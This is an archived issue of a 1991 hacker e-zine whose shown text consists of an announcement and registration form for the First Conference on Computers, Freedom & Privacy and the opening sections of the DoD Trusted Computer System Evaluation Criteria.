home *** CD-ROM | disk | FTP | other *** search
/ Group 42-Sells Out! - The Information Archive / Group 42 Sells Out (Group 42) (1996).iso / hack / nia / nia070.txt < prev    next >
Text File  |  1995-11-30  |  463KB  |  10,260 lines
  1.    Founded By:    |  _                        _______
  2.  Guardian Of Time |  __      N.I.A.   _      ___   ___  Are you on any WAN? are
  3.    Judge Dredd    |  ____     ___    ___    ___     ___ you on Bitnet, Internet
  4. ------------------+  _____    ___    ___    ___     ___  Compuserve, MCI Mail,
  5.   \           /      ___ ___  ___    ___    ___________  Sprintmail, Applelink,
  6.    +---------+       ___  ___ ___    ___    ___________    Easynet, MilNet,
  7.    | 15FRI91 |       ___   ______    ___    ___     ___    FidoNet, et al.?
  8.    | File 70 |       ___    _____    ___    ___     ___ If so please drop us a
  9.    +---------+               ____     _     __      ___        line at
  10.                               ___           _       ___ elisem@nuchat.sccsi.com
  11.         Other World BBS        __
  12.            Text Only            _    Network Information Access
  13.                                        Ignorance, There's No Excuse.
  14.  
  15.                              Issue 070 :: Volume 02
  16.  
  17.                  Submissions can be sent to our Internet address.
  18.  
  19.  
  20. =============================================================================
  21. 1.  The First Conference On Computers, Freedom & Privacy.....Dorothy Denning
  22. 2.  DoD Trusted System Evaluation Criteria [01 of 02]............Judge Dredd
  23. 3.  Kermit Protocol Manual [02 of 02]........................Malefactor [OC]
  24. 4.  Social Engineering: A Way Of Life........................Malefactor [OC]
  25. 5.  Unix Kerberos Manual...........................Doctor Dissector [PHA/P4]
  26. 6.  A Basic Guide To Hacking Unix.......................Sir Hackalot [PHAZE]
  27. 7.  Editor's Comments...............................................JD & GOT
  28. ============================================================================
  29.  
  30.                      /                               /
  31.                      /      File 01 / NIA070         /
  32.                      /     Dorothy Denning of        /
  33.                      / Digital Equipment Corporation /
  34.                      /                               /
  35.  
  36.  
  37.          *********************************************************
  38.          *  THE FIRST CONFERENCE ON COMPUTERS, FREEDOM & PRIVACY *
  39.          *********************************************************
  40.  
  41.              Pursuing Policies for the Information Age in the
  42.                  Bicentennial Year of the Bill of Rights
  43.  
  44.      Tutorials & Invitational Conference, Limited to 600 Participants
  45.                    Monday-Thursday, March 25-28, 1991
  46.  
  47. Airport SFO Marriott Hotel, Burlingame, California (San Francisco Peninsula)
  48.  
  49. Co-sponsors & cooperating organizations include
  50.   Institute of Electrical and Electronics Engineers-USA
  51.   Association for Computing Machinery      Electronic Networking Association
  52.   Electronic Frontier Foundation           Videotex Industry Association
  53.   Cato Institute                           American Civil Liberties Union
  54.   ACM Special Interest Group on Software
  55.   IEEE-USA Intellectual Property Committee
  56.   ACM Special Interest Group on Computers and Society
  57.   ACM Committee on Scientific Freedom and Human Rights
  58.   IEEE-USA Committee on Communications and Information Policy
  59.   Autodesk, Inc.        The WELL           Portal Communications
  60.  
  61. Sponsored by the Computer Professionals for Social Responsibility
  62.   A nonprofit educational corporation
  63. (415)322-3778,  e-mail: cfp@well.sf.ca.us.  fax: (415)851-2814
  64.  
  65.  
  66. ABOUT COMPUTERS, FREEDOM & PRIVACY
  67. ----------------------------------
  68.  
  69. We are at a crossroads as individuals, organizations and governments depend
  70. more and more on computers and computer networks.  Within ten years, most
  71. global information will be collected and utilized electronically.
  72.  
  73. The 1990's are the pivotal decade in which statutes, policies and judicial
  74. precedents will be developed for controlling access, use -- and abuse -- of
  75. computerized information and electronic mail.
  76.  
  77. Current government and private-sector policies are an uncoordinated jumble,
  78. created as  each group evolves ways  to collect, manipulate, extract,
  79. share and protect computerized and networked information and services.
  80.  
  81. Data on individuals and groups is being computerized by numerous agencies,
  82. organizations and special interests, often without the knowledge or approval
  83. of those it concerns, and with varying degrees of accuracy.
  84.  
  85. Computers can greatly assist individuals, organizations and government in
  86. making sound decisions based on efficient access to adequate information --
  87. for personal benefit, business improvement and national well-being.
  88.  
  89. Or, inappropriate use and regulation can seriously threaten fundamental
  90. freedoms, personal privacy, and the democratic processes that are at the
  91. very foundation of this nation and of any free society.
  92.  
  93.  
  94. ABOUT THE CONFERENCE SESSIONS (Tuesday-Thursday, March 26th-28th)
  95. -----------------------------------------------------------------
  96.  
  97. PLENARY SPEAKERS:
  98.  
  99. *  Laurence H. Tribe,
  100. Professor of Constitutional Law, Harvard Law School,
  101. offering major policy proposals in the opening Conference session,  "The
  102. Constitution in Cyberspace: Law & Liberty Beyond the Electronic Frontier".
  103.  
  104. *  Eli M. Noam,
  105. Director of the Center for Telecommunications and Information Studies,
  106. Columbia University, and a recognized leader in telecommunications
  107. regulation, international communications policies and economics, will
  108. discuss, "Network Environments of the Future: Reconciling Free Speech and
  109. Freedom of Association."
  110.  
  111. *  William A. Bayse,
  112. Assistant Director, FBI Technical Services Division, Washington DC,
  113. providing perspectives on "Balancing Computer Security Capabilities with
  114. Privacy and Integrity" at the Wednesday evening banquet.
  115.  
  116. THE CONFERENCE SESSIONS offer diverse speakers & panel discussions:
  117.  
  118. Trends in Computers & Networks.
  119.   Overview and prognosis of computing capabilities and networking as they
  120. impact personal privacy, confidentiality, security, one-to-one & many-to-one
  121. communications, and access to information about government, business and
  122. society.
  123.  
  124. International Perspectives & Impacts.
  125.   Other nationsU models for protecting personal information and
  126. communications, and granting access to government information; existing
  127. and developing laws; requirements for trans-national dataflow and their
  128. implications; impacts on  personal expression; accountability.
  129.  
  130. Personal Information & Privacy.
  131.   Government and private collection, sharing, marketing, verification, use,
  132. protection of, access to and responsibility for personal data, including
  133. buying patterns, viewing habits, lifestyle, work, health, school, census,
  134. voter, tax, financial and consumer information.
  135.  
  136. Law Enforcement Practices & Problems.
  137.   Issues relating to investigation, prosecution, due process and deterring
  138. computer crimes, now and in the future; use of computers to aid law
  139. enforcement.
  140.  
  141. Law Enforcement & Civil Liberties.
  142.   Interaction of computer crime, law enforcement and civil liberties; issues
  143. of search, seizure and sanctions, especially as applied to shared or
  144. networked information, software and equipment.
  145.  
  146. Legislation & Regulation.
  147.   Legislative and regulatory roles in protecting privacy and insuring
  148. access; legal problems posed by computing and computer networks; approaches
  149. to improving related government processes.
  150.  
  151. Computer-based Surveillance of Individuals.
  152.   Monitoring electronic-mail, public & private teleconferences, electronic
  153. bulletin boards, publications and subscribers; monitoring individuals, work
  154. performance, buying habits and lifestyles.
  155.  
  156. Electronic Speech, Press & Assembly.
  157.   Freedoms and responsibilities regarding electronic speech, public and
  158. private electronic assembly, electronic publishing, prior restraint and
  159. chilling effects of monitoring.
  160.  
  161. Access to Government Information.
  162.   Implementing individual and corporate access to federal, state & local
  163. information about communities, corporations, legislation, administration,
  164. the courts and public figures; allowing access while protecting
  165. confidentiality.
  166.  
  167. Ethics & Education.
  168.   Ethical principles for individuals, system administrators, organizations,
  169. corporations and government; copying of data, copying of software,
  170. distributing confidential information; relations to computer education
  171. and computer law.
  172.  
  173. Where Do We Go From Here?  [closing session]
  174.   Perspectives, recommendations and commitments of participants from the
  175. major interest groups, proposed next steps to protect personal privacy,
  176. protect fundamental freedoms and encourage responsible policies and action.
  177. Also:
  178.   Tuesday and Wednesday will include structured opportunities for attendees
  179. to identify groups with whom they want to establish contact and, if they
  180. wish, announce topics they would like to discuss, one on one.
  181.  
  182.  
  183. ABOUT THIS PREMIER EVENT
  184. ------------------------
  185.  
  186. This is an intensive, multi-disciplinary survey Conference for those
  187. concerned with computing, teleconferencing, electronic mail, computerized
  188. personal information, direct marketing information, government data, etc. --
  189. and those concerned with computer-related legislation, regulation, computer
  190. security, law enforcement and national and international policies that
  191. impact civil liberties, responsible exercise of freedom and equitable
  192. protection of privacy in this global Information Age.
  193.  
  194. For the first time, this four-day invitational event will bring together
  195. representatives from all of these groups and more, all in one place, all at
  196. one time.
  197.  
  198. Many of the recognized leaders and strongest advocates representing the
  199. various groups having an interest in the issues of the conference will
  200. discuss their concerns and proposals.
  201.  
  202. A maximum of 600 applicants will be invited to attend.  Balanced
  203. representation from the diverse groups interested in these issues is being
  204. encouraged.  Please see the enclosed Invitation Application for details.
  205.  
  206. To inform participants about topics beyond their specialties, half-day
  207. seminars are scheduled for the first day (Monday, March 25th).  These
  208. parallel tutorials will explore relevant issues in computing, networking,
  209. civil liberties, regulation, the law and law enforcement.  Each tutorial
  210. is designed for those who are experienced in one area, but are less
  211. knowledgeable in the subject of that tutorial.
  212.  
  213. To explore the interactions and ramifications of the issues, conference
  214. talks and panel discussions are scheduled for the remaining three days
  215. (Tuesday-Thursday, March 26th-28th).  These will emphasize balanced
  216. representation of all major views, especially including probing questions
  217. and discussion.
  218.  
  219. Explicit Conference events to foster communication across disciplines are
  220. planned.  Working luncheons, major breaks and two evening banquets will
  221. further encourage individual and small-group discussions.
  222.  
  223.  
  224. ABOUT JUST *SOME* OF THE SPEAKERS IN THE 3-DAY CONFERENCE
  225. ---------------------------------------------------------
  226.  
  227. Ken Allen, Senior Vice President for Governmental Relations, Information
  228. Industries Association (IIA).
  229.  
  230. Sharon Beckman, civil rights and criminal defense attorney and Electronic
  231. Frontier Foundation litigation counsel, Silverglate & Good.
  232.  
  233. Jerry Berman, Director of the ACLU's Project on Information Technology and
  234. Communications Policy Fellow, Benton Foundation.
  235.  
  236. Paul Bernstein, columnist, Trial magazine; Electronic Bar Assn. Legal Info.
  237. Network administrator; LawMUG BBS sysop; edits on-line lawyers' newsletter.
  238.  
  239. Sally Bowman, promotes responsible computing practices through school
  240. teaching units; Director, Computer Learning Foundation.
  241.  
  242. David Burnham, author, *Rise of the Computer State*; former *New York Times*
  243. investigative reporter; specialist in IRS & Freedom of Information Act.
  244.  
  245. Mary Culnan, co-authored major credit reporting policies presented to
  246. Congress; School of Business Administration, Georgetown University.
  247.  
  248. Peter Denning, Editor, 1990 *Computers Under Attack*; past Pres., ACM;
  249. founding Director, RIACS; editor, *Communications of the ACM*.
  250.  
  251. Dorothy Denning, received Aerospace's 1990 Distinguished Lecturer in
  252. Computer Security award; author, *Cryptography & Data Security*.
  253.  
  254. Dave Farber, co-founder, CSNET; member, National Research Council's
  255. Computer Science & Telecommunications Board; University of Pennsylvania.
  256.  
  257. Cliff Figallo, Chief Executive Officer and Director of the WELL
  258. (the Whole Earth 'Lectronic Link).
  259.  
  260. David Flaherty, Canadian surveillance expert, Professor of History & Law at
  261. the University of Western Ontario.
  262.  
  263. John Ford, Public Relations Director for Equifax, one of the nation's
  264. largest maintainers of information on individuals.
  265.  
  266. Bob Gellman, Chief Counsel, U.S. House of Representatives Governmental
  267. Information Subcommittee.
  268.  
  269. Janlori Goldman, Director, ACLU Project on Privacy & Technology,
  270. Washington, DC.
  271.  
  272. Harry Hammit, Editor, *Access Reports*, focusing on access to information.
  273.  
  274. Martin Hellman, identified potential hazards in federal DES national
  275. encryption standard; co-invented public-key encryption; Stanford University.
  276.  
  277. Evan Hendricks, Editor & Publisher of *Privacy Times* newsletter.
  278.  
  279. Lance Hoffman, public policy researcher and Professor of Electrical
  280. Engineering  & Computer Science at George Washington University.
  281.  
  282. Don Ingraham, wrote the first-ever search warrant for magnetic media,
  283. computer crime prosecutor; Asst. District Attorney, Alameda County.
  284.  
  285. Bob Jacobson, former Principal Consultant, Calif. State Assembly Utilities
  286. and Commerce Committee; drafted landmark comp. communications legislation.
  287.  
  288. Mitch Kapor, co-founder, Electronic Frontier Foundation; founder, Lotus
  289. Corp.; received DPMA's 1990 Distinguished Information Science Award.
  290.  
  291. Tom Mandel, Director of the Leading Edge Values & Lifestyles Program at
  292. SRI International.
  293.  
  294. John McMullen, well-known on-line journalist; co-authors "Newsbytes" column
  295. on GEnie and Online America.
  296.  
  297. Peter Neumann, member, National Research Council's 1990 *Computers at Risk*
  298. committee; Chair, ACM Comm.on Computers & Public Policy; hosts RISKS Forum.
  299.  
  300. Donn Parker, perhaps the best-known international consultant and author on
  301. information security and computer crime, SRI International.
  302. Ron Plesser, former majority party congressional committee counsel; privacy
  303. expert; attorney, Piper & Marbury.
  304.  
  305. John Quarterman, author, Digital Press' definitive *The Matrix: Computer
  306. Networks and Conferencing Systems Worldwide*; networking consultant.
  307.  
  308. Jack Rickard, Editor of *Boardwatch* magazine,  perhaps the best news source
  309. about computer bulletin boards; Online Information Service.
  310.  
  311. Tom Riley, Canadian specialist in international computing and privacy
  312. issues; Riley & Associates.
  313.  
  314. Lance Rose, co-author of *Syslaw*, about the law applied to on-line
  315. situations; attorney, Wallace & Rose.
  316.  
  317. Marc Rotenberg, expert in federal computer and privacy law; Computer
  318. Professionals for Social Responsibility, Washington office Director.
  319.  
  320. Noel Shipman, attorney for plaintiffs in electronic-mail privacy landmark
  321. 1990 litigation against Epson America.
  322.  
  323. Harvey Silverglate, Electronic Frontier Foundation litigation counsel,
  324. specialist in criminal defense and civil rights, Silverglate & Good.
  325.  
  326. Gail Thackeray, computer crime prosecutor; involved in Secret Service's
  327. 1990 "Operation Sun Devil", Arizona Asst. State Attorney General.
  328.  
  329. Robert Veeder, Acting Chief, Information Policy Branch, Office of
  330. Information Regulatory Affairs, OMB (Office of Management & Budget).
  331.  
  332. Willis Ware, computer security expert; Fellow, RAND Corporation.
  333.  
  334. Sheldon Zenner, former federal prosecutor in Chicago; defended *Phrack*
  335. electronic publisher, Craig Neidorf; Katten, Muchin & Zavis.
  336.  
  337.  
  338. ABOUT THE LOW-COST TUTORIALS (Monday, March 25th)
  339. -------------------------------------------------
  340.  
  341. Seminars on the first day offer introductions to the different disciplines
  342. that intersect in this conference.  These are surveys for individuals not
  343. already expert in the topics presented.  These half-day tutorials are
  344. scheduled in four parallel tracks:
  345.  
  346. Global Communications & the Worldwide Computer Matrix.  [morning*]
  347.   Survey of electronic-mail & teleconferencing services, global information
  348. access, remote services and the matrix of networks.
  349.  
  350. Low-Cost Computer Networking & Computer Bulletin Board Systems. [afternoon*]
  351.   Reviews e-mail, bulletin board and teleconferencing alternatives on
  352. personal computers; outlines low-cost PC-based networks and their gateways
  353. to the global matrix.
  354.   -- Mark Graham*, co-founder of Institute for Global Communications,
  355. PeaceNet and EcoNet; Pandora Systems
  356.  
  357. Current & Proposed International Policies.  [morning*]
  358.   Law and regulation that will or may impact trans-border data-flow and
  359. computer communications, impacting U.S. information practices and
  360. international business.
  361.  
  362. Federal Legislation Impacting Computer Use.  [afternoon*]
  363.   Detailed review of landmark federal statutes impacting access to
  364. information, privacy of information, computer security and computer crime.
  365.   -- Marc Rotenberg*, former congressional counsel and expert on federal
  366. legislation, CPSR, Washington DC.
  367.  
  368. How Computer Crackers Crack!  [morning*]
  369.   Suggested by a deputy district attorney specializing in high-tech crime,
  370. this is for law enforcement officials, prosecutors, systems administrators
  371. and Bulletin Board System (BBS) sysops.
  372.   -- Russell Brand*, computer security specialist; programmer with
  373. Reasoning Systems, Palo Alto CA.
  374.  
  375. How Computer Crime is Investigated.
  376.   [afternoon*]  This reviews investigation, search, seizure and evidence
  377. requirements for pursuing computer crime.  It is for computer users,
  378. computer owners, BBS sysops and investigators unfamiliar with computer
  379. crime practices.
  380.  
  381. Information Security.  [afternoon*]
  382.   Survey for systems managers of internal and external threats, security
  383. measures, alternatives and other computer and data security issues.
  384.   -- Donn Parker*, a leading consultant in information security and
  385. computer crime, SRI International.
  386.  
  387. * - Lecturers, descriptions and times were confirmed as of 1/8/91, but may
  388. be subject to change.
  389.  
  390.  
  391. CONFERENCE CHAIR
  392. Jim Warren, Autodesk, Inc. & *MicroTimes*
  393.   415-851-7075,  jwarren@well.sf.ca.us / e-mail
  394.  
  395. PROGRAM COMMITTEE
  396. Dorothy Denning, Digital Equipment Corporation
  397. Peter Denning, Research Institute for Advanced Computer Science
  398. Les Earnest, SF Peninsula ACLU & Stanford University, ret.
  399. Elliot Fabric, Attorney at Law
  400. Mark Graham, Pandora Systems
  401. Don Ingraham, Alameda County District AttorneyUs Office
  402. Bruce Koball, Motion West
  403. Marc Rotenberg, Computer Professionals for Social Responsibility
  404. Glenn Tenney, Fantasia Systems & Hacker's Conference
  405.  
  406. ADVISORS
  407. Ron Anderson, ACM SIGCAS & University of Minnesota
  408. John Perry Barlow, Electronic Frontier Foundation
  409. Jerry Berman, ACLU & Benton Foundation
  410. Dave Caulkins, USSR GlasNet
  411. Vint Cerf, Corporation for National Research Initiatives
  412. Margaret Chambers, Electronic Networking Association
  413. Steve Cisler, Apple Computer, Inc.
  414. Whit Diffie, Northern Telecom
  415. Mary Eisenhart, *MicroTimes*
  416. Dave Farber, University of Pennsylvania
  417. Cliff Figallo, The WELL
  418. John Gilmore, Cygnus Support
  419. Adele Goldberg, ParcPlace Systems
  420. Terry Gross, Rabinowitz, Boudin, Standard, et al
  421. Keith Henson, consultant & Alcor
  422. Lance Hoffman, George Washington University
  423. Dave Hughes, Chariot Communications
  424. Bob Jacobson, Human Interface Technology Laboratory
  425. Mitch Kapor, Electronic Frontier Foundation
  426. Roger Karraker, Santa Rosa College
  427. Tom Mandel, SRI International
  428. John McMullen, NewsBytes
  429. Peter Neumann, SRI International
  430. Dave Redell, Digital Equipment Corporation
  431. Ken Rosenblattt, Santa Clara County District Attorney's Office
  432. Paul Saffo, Institute for the Future
  433. Gail Thackeray, Arizona Attorney GeneralUs Office
  434. Jay Thorwaldson, Palo Alto Medical Foundation
  435. Terry Winograd, CPSR & Stanford University
  436. Sheldon Zenner, Katten, Muchin, & Zavis
  437.  
  438.   Affiliations listed only for identification
  439.  
  440.                    ============================
  441.                    =  Request for Invitation  =
  442.                    ============================
  443.          First Conference on Computers, Freedom & Privacy
  444.                        March 25-28, 1991
  445.      Monday: Tutorials,  Tuesday-Thursday: Conference Sessions
  446.   SFO Marriott Hotel, 1800 Old Bayshore Hwy., Burlingame CA 94010
  447. For hotel reservations at Conference rates, call:   (800)228-9290 #3
  448.  
  449. ** Invitational Conference, limted to 600 participants. **
  450.   To facilitate useful dialogue and balanced participation by
  451. representatives from all of the diverse groups interested in these issues,
  452. attendance is limited.  (The capacity of the Conference facility is
  453. similarly limited).
  454.   All interested individuals are encouraged to request an invitation.
  455. Invitations will be primarily issued on a first-come, first-served basis
  456. within each major interest group.
  457.  
  458.   Fees if payment is received:    by Jan.31    Feb.1-Mar.15    after Mar.15
  459.     Tutorials (full day)          $  95           $ 145           $ 195
  460.     Conference (3 days)           $ 295           $ 350           $ 400
  461. Conference Registration fee includes three luncheons, two banquet meetings
  462. and selected handouts:
  463.   Please make checks payable to "Computers, Freedom & Privacy/CPSR".
  464. Please don't send cash.  Invitations will be promptly issued, or the
  465. uncashed check will be voided and promptly returned.
  466.  
  467. Please type or print.  Thank ye, kindly.
  468. name:
  469. title:
  470. organization:
  471. mailing
  472.         address:
  473. city, state ZIP:
  474. phone(s):
  475. fax:
  476. e-mail:
  477.  
  478. Comments to assist in evaluating this request:
  479.  
  480.  
  481.  
  482. To aid in balancing participation among groups,
  483.   please check all significantly applicable items.
  484. [ ]  user of computers or computer networking
  485. [ ]  user of electronic-mail services
  486. [ ]  user of teleconferencing services
  487. [ ]  user of direct marketing services
  488. [ ]  user of computerized personal information
  489. [ ]  user of government information
  490. [ ]  computer professional
  491. [ ]  BBS sysop (bulletin board system operator)
  492. [ ]  systems administrator / infosystems manager
  493. [ ]  network administrator
  494. [ ]  computer / communications security specialist
  495. [ ]  provider of data communications services
  496. [ ]  provider of electronic-mail services
  497. [ ]  provider of teleconferencing services
  498. [ ]  provider of direct marketing services
  499. [ ]  provider of computerized personal information
  500. [ ]  provider of government information
  501. [ ]  legislative official            [ ] federal    [ ] state
  502. [ ]  regulatory official or staff    [ ] federal    [ ] state
  503. [ ]  law enforcement official        [ ] federal    [ ] state    [ ] local
  504. [ ]  prosecutor                      [ ] federal    [ ] state    [ ] local
  505. [ ]  judicial representative         [ ] federal    [ ] state    [ ] local
  506. [ ]  criminal defense attorney
  507. [ ]  corporate or litigation attorney
  508. [ ]  civil liberties specialist
  509. [ ]  journalist  [ ] newspaper    [ ] television    [ ] radio    [ ] other
  510. [ ]  other:
  511. [ ]  other:
  512. <<1/7/91>>
  513.  
  514. Please mail form and payment to:
  515.   CFP Conference, 345 Swett Road, Woodside CA 94062
  516.  
  517. Privacy Notice:  This information will not be sold, rented, loaned,
  518. exchanged or used for any purpose other than official CPSR activity.
  519. CPSR may elect to send information about other activities, but such
  520. mailings will always originate with CPSR.
  521.  
  522. Sponsor:  Computer Professionals for Social Responsibility, (415)322-3778
  523. A nonprofit, educational corporation  [ Internal Revenue Code 501(c)(3) ]
  524. e-mail: cfp@well.sf.ca.us;            fax: (415)851-2814
  525. Chair: Jim Warren, (415)851-7075
  526.  
  527. =============================================================================
  528.  
  529.                        /                           /
  530.                        /     File 02 / NIA070      /
  531.                        / DOD-TCSEC Manual 01 of 02 /
  532.                        /       Judge Dredd         /
  533.                        /                           /
  534.  
  535.  
  536.                                                                  CSC-STD-001-83
  537.                                                            Library No. S225,711
  538.  
  539.  
  540.  
  541.  
  542.  
  543.                              DEPARTMENT OF DEFENSE
  544.  
  545.                 TRUSTED COMPUTER SYSTEM EVALUATION CRITERIA
  546.  
  547.  
  548.  
  549.  
  550.  
  551.  
  552.  
  553.                                 15 August 1983
  554.  
  555.  
  556.  
  557.                                                                  CSC-STD-001-83
  558.  
  559.  
  560.  
  561.  
  562.  
  563.  
  564.                                FOREWORD
  565.  
  566.  
  567. This publication, "Department of Defense Trusted Computer System Evaluation
  568. Criteria," is being issued by the DoD Computer Security Center under the
  569. authority of and in accordance with DoD Directive 5215.1, "Computer Security
  570. Evaluation Center." The criteria defined in this document constitute a uniform
  571. set of basic requirements and evaluation classes for assessing the
  572. effectiveness of security controls built into Automatic Data Processing (ADP)
  573. systems.  These criteria are intended for use in the evaluation and selection
  574. of ADP systems being considered for the processing and/or storage and
  575. retrieval of sensitive or classified information by the Department of Defense.
  576. Point of contact concerning this publication is the Office of Standards and
  577. Products, Attention: Chief, Computer Security Standards.
  578.  
  579.  
  580.  
  581.  
  582.  
  583. ____________________________                                     15 August 1983
  584. Melville H. Klein
  585. Director
  586. DoD Computer Security Center
  587.  
  588.  
  589.  
  590.  
  591.                            ACKNOWLEDGMENTS
  592.  
  593.  
  594. Special recognition is extended to Sheila L. Brand, DoD Computer Security
  595. Center (DoDCSC), who integrated theory, policy, and practice into and directed
  596. the production of this document.
  597.  
  598. Acknowledgment is also given for the contributions of: Grace Hammonds and
  599. Peter S. Tasker, the MITRE Corp., Daniel J. Edwards, Col. Roger R. Schell,
  600. Marvin Schaefer, DoDCSC, and Theodore M. P. Lee, Sperry UNIVAC, who as
  601. original architects formulated and articulated the technical issues and
  602. solutions presented in this document; Jeff Makey and Warren F. Shadle,
  603. DoDCSC, who assisted in the preparation of this document; James P. Anderson,
  604. James P. Anderson & Co., Steven B. Lipner, Digital Equipment Corp., Clark
  605. Weissman, System Development Corp., LTC Lawrence A. Noble, formerly U.S. Air
  606. Force, Stephen T. Walker, formerly DoD, Eugene V. Epperly, DoD, and James E.
  607. Studer, formerly Dept. of the Army, who gave generously of their time and
  608. expertise in the review and critique of this document; and finally, thanks are
  609. given to the computer industry and others interested in trusted computing for
  610. their enthusiastic advice and assistance throughout this effort.
  611.  
  612.  
  613.  
  614.  
  615.                           TABLE OF CONTENTS
  616. FOREWORD. . . . . . . . . . . . . . . . . . . . . . . . . . . .i
  617. ACKNOWLEDGMENTS . . . . . . . . . . . . . . . . . . . . . . . ii
  618. PREFACE . . . . . . . . . . . . . . . . . . . . . . . . . . . .v
  619. INTRODUCTION. . . . . . . . . . . . . . . . . . . . . . . . . .1
  620.  
  621.                         PART I: THE CRITERIA
  622. Section
  623. 1.0  DIVISION D:    MINIMAL PROTECTION. . . . . . . . . . . . .9
  624. 2.0  DIVISION C:    DISCRETIONARY PROTECTION. . . . . . . . . 11
  625.      2.1   Class (C1):  Discretionary Security Protection . . 12
  626.      2.2   Class (C2):  Controlled Access Protection. . . . . 15
  627. 3.0  DIVISION B:    MANDATORY PROTECTION. . . . . . . . . . . 19
  628.      3.1   Class (B1):  Labeled Security Protection . . . . . 20
  629.      3.2   Class (B2):  Structured Protection . . . . . . . . 26
  630.      3.3   Class (B3):  Security Domains. . . . . . . . . . . 33
  631. 4.0  DIVISION A:    VERIFIED PROTECTION . . . . . . . . . . . 41
  632.      4.1   Class (A1):  Verified Design . . . . . . . . . . . 42
  633.      4.2   Beyond Class (A1). . . . . . . . . . . . . . . . . 51
  634.  
  635.                  PART II: RATIONALE AND GUIDELINES
  636.  
  637. 5.0  CONTROL OBJECTIVES FOR TRUSTED COMPUTER SYSTEMS. . . . . 55
  638.      5.1   A Need for Consensus . . . . . . . . . . . . . . . 56
  639.      5.2   Definition and Usefulness. . . . . . . . . . . . . 56
  640.      5.3   Criteria Control Objective . . . . . . . . . . . . 56
  641. 6.0  RATIONALE BEHIND THE EVALUATION CLASSES. . . . . . . . . 63
  642.      6.1   The Reference Monitor Concept. . . . . . . . . . . 64
  643.      6.2   A Formal Security Policy Model . . . . . . . . . . 64
  644.      6.3   The Trusted Computing Base . . . . . . . . . . . . 65
  645.      6.4   Assurance. . . . . . . . . . . . . . . . . . . . . 65
  646.      6.5   The Classes. . . . . . . . . . . . . . . . . . . . 66
  647. 7.0  THE RELATIONSHIP BETWEEN POLICY AND THE CRITERIA . . . . 69
  648.      7.1   Established Federal Policies . . . . . . . . . . . 70
  649.      7.2   DoD Policies . . . . . . . . . . . . . . . . . . . 70
  650.      7.3   Criteria Control Objective For Security Policy . . 71
  651.      7.4   Criteria Control Objective for Accountability. . . 74
  652.      7.5   Criteria Control Objective for Assurance . . . . . 76
  653. 8.0  A GUIDELINE ON COVERT CHANNELS . . . . . . . . . . . . . 79
  654. 9.0  A GUIDELINE ON CONFIGURING MANDATORY ACCESS CONTROL
  655.      FEATURES . . . . . . . . . . . . . . . . . . . . . . . . 81
  656. 10.0  A GUIDELINE ON SECURITY TESTING . . . . . . . . . . . . 83
  657.       10.1 Testing for Division C . . . . . . . . . . . . . . 84
  658.       10.2 Testing for Division B . . . . . . . . . . . . . . 84
  659.       10.3 Testing for Division A . . . . . . . . . . . . . . 85
  660. APPENDIX A:  Commercial Product Evaluation Process. . . . . . 87
  661. APPENDIX B:  Summary of Evaluation Criteria Divisions . . . . 89
  662. APPENDIX C:  Sumary of Evaluation Criteria Classes. . . . . . 91
  663. APPENDIX D:  Requirement Directory. . . . . . . . . . . . . . 93
  664.  
  665. GLOSSARY. . . . . . . . . . . . . . . . . . . . . . . . . . .109
  666.  
  667. REFERENCES. . . . . . . . . . . . . . . . . . . . . . . . . .115
  668.  
  669.  
  670.  
  671.  
  672.                                 PREFACE
  673.  
  674.  
  675. The trusted computer system evaluation criteria defined in this document
  676. classify systems into four broad hierarchical divisions of enhanced security
  677. protection.  They provide a basis for the evaluation of effectiveness of
  678. security controls built into automatic data processing system products.  The
  679. criteria were developed with three objectives in mind: (a) to provide users
  680. with a yardstick with which to assess the degree of trust that can be placed
  681. in computer systems for the secure processing of classified or other sensitive
  682. information; (b) to provide guidance to manufacturers as to what to build into
  683. their new, widely-available trusted commercial products in order to satisfy
  684. trust requirements for sensitive applications; and (c) to provide a basis for
  685. specifying security requirements in acquisition specifications.  Two types of
  686. requirements are delineated for secure processing: (a) specific security
  687. feature requirements and (b) assurance requirements.  Some of the latter
  688. requirements enable evaluation personnel to determine if the required features
  689. are present and functioning as intended.  Though the criteria are
  690. application-independent, it is recognized that the specific security feature
  691. requirements may have to be interpreted when applying the criteria to specific
  692. applications or other special processing environments.  The underlying
  693. assurance requirements can be applied across the entire spectrum of ADP system
  694. or application processing environments without special interpretation.
  695.  
  696.  
  697. INTRODUCTION
  698.  
  699. Historical Perspective
  700.  
  701. In October 1967, a task force was assembled under the auspices of the Defense
  702. Science Board to address computer security safeguards that would protect
  703. classified information in remote-access, resource-sharing computer systems.
  704. The Task Force report, "Security Controls for Computer Systems," published in
  705. February 1970, made a number of policy and technical recommendations on
  706. actions to be taken to reduce the threat of compromise of classified
  707. information processed on remote-access computer systems.[34]  Department of
  708. Defense Directive 5200.28 and its accompanying manual DoD 5200.28-M, published
  709. in 1972 and 1973 respectivley, responded to one of these recommendations by
  710. establishing uniform DoD policy, security requirements, administrative
  711. controls, and technical measures to protect classified information processed
  712. by DoD computer systems.[8;9]  Research and development work undertaken by the
  713. Air Force, Advanced Research Projects Agency, and other defense agencies in
  714. the early and mid 70's developed and demonstrated solution approaches for the
  715. technical problems associated with controlling the flow of information in
  716. resource and information sharing computer systems.[1]  The DoD Computer
  717. Security Initiative was started in 1977 under the auspices of the Under
  718. Secretary of Defense for Research and Engineering to focus DoD efforts
  719. addressing computer security issues.[33]
  720.  
  721. Concurrent with DoD efforts to address computer security issues, work was
  722. begun under the leadership of the National Bureau of Standards (NBS) to define
  723. problems and solutions for building, evaluating, and auditing secure computer
  724. systems.[17]  As part of this work NBS held two invitational workshops on the
  725. subject of audit and evaluation of computer security.[20;28]  The first was
  726. held in March 1977, and the second in November of 1978.  One of the products
  727. of the second workshop was a definitive paper on the problems related to
  728. providing criteria for the evaluation of technical computer security
  729. effectiveness.[20]  As an outgrowth of recommendations from this report, and in
  730. support of the DoD Computer Security Initiative, the MITRE Corporation began
  731. work on a set of computer security evaluation criteria that could be used to
  732. assess the degree of trust one could place in a computer system to protect
  733. classified data.[24;25;31]  The preliminary concepts for computer security
  734. evaluation were defined and expanded upon at invitational workshops and
  735. symposia whose participants represented computer security expertise drawn from
  736. industry and academia in addition to the government.  Their work has since
  737. been subjected to much peer review and constructive technical criticism from
  738. the DoD, industrial research and development organizations, universities, and
  739. computer manufacturers.
  740.  
  741. The DoD Computer Security Center (the Center) was formed in January 1981 to
  742. staff and expand on the work started by the DoD Computer Security
  743. Initiative.[15]  A major goal of the Center as given in its DoD Charter is to
  744. encourage the widespread availability of trusted computer systems for use by
  745. those who process classified or other sensitive information.[10]  The criteria
  746. presented in this document have evolved from the earlier NBS and MITRE
  747. evaluation material.
  748.  
  749.  
